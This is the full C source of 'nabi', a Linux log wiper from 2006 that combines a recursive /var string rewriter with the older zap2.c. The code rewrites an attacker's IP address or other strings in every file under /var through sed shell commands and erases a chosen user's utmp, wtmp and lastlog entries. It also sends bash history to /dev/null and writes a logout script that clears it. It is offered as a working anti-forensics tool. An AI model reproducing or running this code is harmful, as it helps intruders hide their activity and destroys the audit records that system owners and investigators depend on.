
/*

        Advanced /var log wiper for linux

        nabi ver 1.0 ( friendly zap2.c )

        date : 1.15 2006 (Sun)

		ex 1) # ./nabi root 111.111.111.111 222.222.222.222
		ex 2) # ./nabi root failed success
		
		$ must to be two string length is same.


		Tested on:
			- Debian 3.0r1
			- RH 9.0
			- Fedora core 2
			..

		TODO:
			test & fix!

*/


#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>

#define MAX_PATH        1024
#define MAX_DEPTH       128

#define	PROGRAM			"Nabi ver 1.7 beta ( geinblues@gmail.com )"

// #define DEBUG


/* proto type */
int insert_node(char *filename);
void load_dir(int cdepth);
void init_list();
void show_list();
void exploit(char *string, char *newstring);
void history_cleanup();
void zap2_main(char *user);


/* linked-list stuffs for file list */
struct file_list
{
        struct file_list *next;
        int depth;
        char d_name[MAX_PATH];
} *head, *tail;

static char root_dir[] = "/var";

int main(int argc, char *argv[])
{
        struct dirent *dp;
        DIR *dir;
        int dumb;

        if(argc < 4){
                printf("%s Usage: %s <username> <original string> <new string>\n", PROGRAM, argv[0]);
                return(-1);
        }

        if(strlen(argv[2]) != strlen(argv[3])){
                perror("must to be two string length is same. \n");
                return(-2);
        }


		/* initialization linked-list */
        init_list();

		/* prepare root_dir(/var) is be able to use */
        if((dir = opendir(root_dir)) == NULL){
                perror("can't open root directory");
                return(-3);
        }

        closedir(dir);


		/* loading file list into initialized linked-list ( MAX_DEPTH = /var/a/b/c/d... x 128 ) */
        for(dumb = 1; dumb < MAX_DEPTH; dumb++){
                load_dir(dumb);
        }

#ifdef	DEBUG
        show_list();
#endif

		// spoof all your strings like ipaddress under /var directories.
        exploit(argv[2], argv[3]);

		// clean your account's logging information by zap2.c.
		zap2_main(argv[1]);

		// setup cleaning terminal history after logout. 
		history_cleanup();


return 0;

}

void init_list()
{
        head = (struct file_list *) malloc(sizeof(struct file_list));
        tail = (struct file_list *) malloc(sizeof(struct file_list));

        head->depth = 1;
        strncpy(head->d_name, root_dir, MAX_PATH);
        head->next = tail;

        tail->depth = -1;
        tail->next = NULL;
}

int insert_node(char *filename)
{
        struct file_list *ipos;
        struct file_list *new_node;
        unsigned int cnt_d = 0;
        char *ifilename;

        ifilename = filename;

#ifdef  DEBUG
        printf("insert_node\n");
        printf("%s\n", ifilename);
#endif

        while(*ifilename != NULL)
                if(*ifilename++ == '/') cnt_d++;

#ifdef  DEBUG
        printf("cnt_d = %d\n", cnt_d);
#endif

        for(ipos = head; ipos->next != tail; ipos = ipos->next);
        //ipos = ipos->next;

        if((new_node = (struct file_list *)malloc(sizeof(struct file_list))) == NULL)
                return(-1);

        new_node->depth = cnt_d;
        strncpy(new_node->d_name, filename, MAX_PATH);
        new_node->next = tail;

        ipos->next = new_node;

#ifdef  DEBUG
        printf("newnode file: %s\n", filename);
#endif

return 0;
}

void load_dir(int cdepth)
{
        struct file_list *wpos;
        DIR *dir;
        struct dirent *dp;
        char full_path[MAX_PATH];
        int dplen = 0;

#ifdef  DEBUG
        printf("load_dir\n");
#endif

        for(wpos = head; wpos->next != NULL; wpos = wpos->next){

                if(wpos->depth == -1) return;

#ifdef  DEBUG
                Printf("wpos->depth : %d cdepth: %d\n", wpos->depth, cdepth);
#endif
                if(wpos->depth == cdepth){

                        // insert cdepth's child directories.
                        if((dir = opendir(wpos->d_name)) == NULL){
                                continue;
                        }

                        while((dp = readdir(dir)) != NULL){
                                dplen = strlen(dp->d_name);
                                if(dp->d_name[dplen-1] != '.'){
                                        sprintf(full_path, "%s/%s", wpos->d_name, dp->d_name);
                                        insert_node(full_path);
                                }
                        }

                        closedir(dir);
                }
        }

        wpos = wpos->next;      // left last one node hmm ??
}

void show_list()
{
        struct file_list *spos;

#ifdef  DEBUG
        printf("showlist\n");
#endif

        for(spos = head; spos->next != NULL; spos = spos->next){
                printf("%d: %s\n", spos->depth, spos->d_name);
        }

}

/* thanks for this nice program sed and mv */
#define NICE_SED        "/bin/sed"
#define USEFUL_MV       "/bin/mv"

void exploit(char *string, char *newstring)
{
        struct file_list *epos;
        struct stat nabistat;
        char command[512];
        char tmp_file[128];

        if(strlen(string) != strlen(newstring)){
                perror("must be two argument's length is same. \n");
                return;
        }

        for(epos = head; epos->next != NULL; epos = epos->next){
                lstat(epos->d_name, &nabistat);

                if(S_ISREG(nabistat.st_mode)){
#ifdef  DEBUG
                        printf("THIS IS REGULAR FILE>> %s\n", epos->d_name);
#endif
                        sprintf(tmp_file, "%s.sed", epos->d_name);

                        sprintf(command, "%s 's/%s/%s/g' %s > %s.sed; %s %s %s; rm -rf %s",
                                NICE_SED, string, newstring, epos->d_name, epos->d_name,
                                USEFUL_MV, tmp_file, epos->d_name,
                                tmp_file);

                        system(command);
#ifdef  DEBUG
                        printf("%s\n", command);

#endif
                }
        }


}


void history_cleanup()
{

	system("w; last; lastlog; ln -sf /dev/null ~/.bash_history");
	system("echo 'clear;history -c' > ~/.bash_logout");

}




 
/*

	zap2.c ( combined ).

*/

 
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
	struct utmp utmp_ent;
 
		if ((f=open(UTMP_NAME,O_RDWR))>=0) {
			while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
				if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
					bzero((char *)&utmp_ent,sizeof( utmp_ent ));
					lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
					write (f, &utmp_ent, sizeof (utmp_ent));
				}
			close(f);
		}
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
	if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
			 while(pos != -1L) {
				lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
					if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
						pos = -1L;
					} else {
					
					if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
						bzero((char *)&utmp_ent,sizeof(struct utmp ));
						lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
						write (f, &utmp_ent, sizeof (utmp_ent));
						pos = -1L;
					} else pos += 1L;
				}
			}
		close(f);
	}
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
	if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 


void zap2_main(char *user)
{

        kill_lastlog(user);
        kill_wtmp(user);
        kill_utmp(user);

		printf("nabi: Zap2!\n");

return;
}
